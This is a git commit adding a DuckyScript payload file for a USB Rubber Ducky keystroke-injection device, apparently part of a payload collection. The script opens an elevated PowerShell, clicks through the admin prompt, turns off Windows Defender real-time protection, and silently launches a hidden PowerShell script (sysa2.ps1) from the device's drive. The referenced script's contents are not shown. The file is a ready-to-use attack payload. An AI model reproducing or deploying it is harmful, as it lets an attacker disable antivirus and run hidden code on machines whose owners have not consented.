Create payload.txt

pull/466/head
Nicolo’ 2024-07-24 19:50:19 +02:00 committed by GitHub
parent 4f1ae9c312
commit ab486b9b9f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 23 additions and 0 deletions

View File

@ -0,0 +1,23 @@
DEFAULT_DELAY 350
REM -----Delay of 1.5 seconds to let the "Keyboard" initialize
DELAY 200
ATTACKMODE HID STORAGE
REM -----open Powershell as Admin
GUI r
DELAY 200
STRING powershell
CTRL-SHIFT ENTER
DELAY 400
LEFT
ENTER
DELAY 500
STRING $duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq 'DUCKY' }).DeviceID;cd $duckletter
ENTER
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
STRINGLN Start-Process powershell.exe -ArgumentList "-NoProfile -WindowStyle Hidden -File sysa2.ps1" -WindowStyle Hidden
STRING exit
ENTER